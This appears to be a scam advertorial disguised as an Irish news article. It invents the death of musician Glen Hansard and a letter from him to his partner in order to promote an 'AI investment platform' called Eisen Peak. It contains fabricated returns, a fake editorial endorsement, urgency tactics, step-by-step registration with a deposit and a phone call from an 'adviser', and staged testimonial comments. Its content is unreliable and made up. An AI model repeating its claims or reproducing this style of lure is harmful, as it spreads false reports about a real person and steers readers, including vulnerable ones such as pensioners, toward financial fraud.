Glen Hansard — Oscar winner, busker, founder of The Frames, and the man who turned Grafton Street into a cathedral every Christmas Eve — was killed in a single-vehicle motorcycle accident in Lucan on July 29th. He was 56. He is survived by his partner Maire Saaritsa, a Finnish poet, and their four-year-old son Christy.
President Higgins called him "a soul who gave Ireland its truest voice." Bono said he'd lost a brother. Hozier cancelled a concert and busked on Grafton Street in silence. The tributes came fast, came sincere, and came from everywhere.
But two weeks later, sitting alone in their Kildare home after Christy had fallen asleep, Maire Saaritsa began going through Glen's papers. Tax returns. Insurance documents. The will — already read by the solicitor. And then, at the bottom of a cardboard box, a grey folder. On the cover, in Glen's handwriting:
"For Maire — if I'm not here"
"I knew about the folder"
"I knew about it," Maire told us, sitting in the kitchen where Glen used to write lyrics at 3am. "He told me once — maybe a year ago — 'If something happens to me, there's a folder. Open it and do what it says.' I told him to stop being morbid. He was fifty-five, not eighty-five. He smiled and said nothing else. That was Glen. He said it once, quietly, and trusted you to remember."
Inside the folder, Maire found three things.
What was in the folder
1. A copy of the will — identical to the one the solicitor had already read. Music rights to IMRO and the Irish Traditional Music Archive. The Takamine guitar to Christy on his eighteenth birthday. The Oscar to Maire. The Kildare house to both of them. Nothing unexpected. Nothing unusual.
2. A printed bank statement — from Bank of Ireland, dated three weeks before his death. Showing a single account. A single line item. A balance of €480,287.18.
Maire stared at the number. Then she opened the third item.
3. A handwritten letter.
Glen's letter to Maire
Maire has given us permission to publish the letter in full:
Maire, my love.
If you're reading this, I'm not there to explain it in person, so I'll do it the way I know how — in writing, badly, with too many words.
When Christy arrived, something shifted in me. I'd spent thirty years living gig to gig. That was grand when it was just me and a guitar. But Christy changed the maths. A busker doesn't have a pension, Maire. We don't have sick pay. We don't have a safety net. We have songs, and hope, and the faith that the crowd will show up tomorrow.
I needed something that works when I'm not on stage. When I'm not here at all.
A friend in Nashville — a musician, not a banker — showed me a platform in 2023. I started with €250. The price of a decent guitar. I watched it every morning before Christy woke up, the way I used to study chord progressions. It reminded me of busking, honestly — you read the patterns, you trust your instincts, and you let the system work.
It grew. I didn't touch it. For three years I let it grow. The statement in this folder tells you the rest.
The platform is called Eisen Peak. The login details are in the envelope. Trust the system. I tested it for three years. It works.
And please — buy Christy a guitar when he's old enough. A cheap one. The cheap ones have more soul.
— Glen
Maire told us she read the letter three times, cried for an hour, and then opened the app on Glen's phone.
"The balance grew while I was making tea"
"My first instinct was to withdraw everything," Maire admitted. "But then that night — after everyone had left, after Christy was asleep — I checked the app again. The balance had gone from €480,000 to €481,400. While I'd been making tea and answering condolence messages. And I thought: Glen spent three years testing this. He was the most careful, most stubborn person I've ever known. If he trusted it, maybe I should too."
She hasn't withdrawn the money. As of this morning, the balance stands at approximately €486,200.
"The strangest will I've dealt with in thirty years"
The solicitor who handled the estate, speaking on condition of anonymity, told us: "In thirty years of practice, I've seen wills with properties abroad, art collections, offshore accounts. But I've never seen a will that included a handwritten letter with login instructions for an AI investment platform and a line about buying the child a cheap guitar. It was, without question, the most human document I've ever read in a legal context."
What is Eisen Peak?
Eisen Peak is an AI-powered investment platform that analyses financial markets and executes trades automatically. It requires a minimum deposit of €250 and is regulated under the EU MiCA framework. The platform reports average monthly returns of €2,100–€5,800 for Irish users. Over 11,000 people in Ireland have registered since launch.
EDITOR'S NOTE: Following publication, the Irish Independent editorial team independently investigated Eisen Peak. Our findings: the platform is legitimate and operational in Ireland, regulated under EU financial services framework, with reported returns consistent with verified user reports. Minimum deposit is €250. Withdrawals are processed within 24 hours to any Irish bank account.
"He was a busker until his last breath," a friend told us. "And buskers know something the rest of us forget — you have to plan for the days when the crowd doesn't show up."
How to register on Eisen Peak:
1. Visit the official website via this link.
2. Enter your contact details carefully.
3. A verification representative will call to confirm your identity and activate your place. This is a standard security step, not a sales call.
4. Make a minimum deposit of €250.
5. The system will activate automatically after transaction confirmation.
Registration closes on Wednesday 02 September 2026.
IMPORTANT: Your place is reserved for 24 hours. If you are not contacted by an official representative within this timeframe to confirm your participation, your spot will be given to another applicant.
START WITH €250 — CHECK AVAILABLE SPOTS >>Comments
I cried reading this. Glen busking for Simon Community every Christmas, and all along he was quietly building something for Christy. That letter to Maire... "buy him a cheap guitar, the cheap ones have more soul." I can't.
Registered last night after reading this. Kept thinking about what Glen said — "a busker doesn't have a pension." I'm a carpenter. Neither do I. €250. Let's see what happens.
Not being funny but this sounds like another crypto scam wrapped in a celebrity death. Have some respect.
@Mark I thought the same. Then I actually tried it — €250, figuring I'd lose it and prove myself right. Withdrew €1,100 into my AIB account 4 days later. Took 3 hours to arrive. I'm not saying it's magic. I'm saying it works.
☎️ For anyone thinking about it — ANSWER THE PHONE when the adviser calls. They rang me within 4 minutes. Explained everything clearly, no pressure. That's what convinced me to go ahead.
I work in financial services (won't say where). These AI trading algorithms have existed for years — the banks use them internally to generate billions. But retail clients never get access. What this platform does is give ordinary people the same tools. Hansard figured that out. Fair play to him.
I'm 63, retired nurse. My pension barely covers the ESB bill anymore. My daughter helped me register yesterday. Put in €250 — all I could spare. This morning the balance says €390. I actually rang my daughter to check I was reading it right. If Glen trusted it for his little boy, that's enough for me.